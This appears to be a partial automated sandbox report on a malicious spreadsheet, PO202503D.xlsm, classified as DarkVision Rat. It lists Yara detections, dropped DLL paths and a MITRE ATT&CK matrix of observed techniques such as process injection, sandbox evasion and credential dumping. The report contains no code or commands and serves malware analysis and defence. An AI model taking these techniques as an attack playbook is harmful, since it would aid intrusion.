Source: Yara match	File source: 30.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.PO202502DAKE.exe.1ff210716a0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aspnet_wp.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.1451318237.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1316214716.00000273D3000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537027703.0000021BC506A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1452878031.000001FF21000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1536508110.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1315965400.000002333C86A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537278105.0000025C5A000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.1537027703.0000021BC5000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1452878031.000001FF2106A000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1315965400.000002333C800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.6605477392.0000000140000000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1453587554.0000023FB6000000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 7440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 7640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 8408, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 8476, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PO202502DAKE.exe PID: 8572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_wp.exe PID: 8636, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\SystemRootDoc\nasrallah_x86.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\invoice_temp\nasrallah_x86.dll, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	52 Scripting	Valid Accounts	2 Native API	52 Scripting	1 DLL Side-Loading	2 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	13 Exploitation for Client Execution	1 DLL Side-Loading	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Browser Extensions	411 Process Injection	13 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Masquerading	LSA Secrets	111 Security Software Discovery	SSH	Keylogging	313 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	411 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Regsvr32	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO202503D.xlsm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: DarkVision Rat

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
PO202503D.xlsm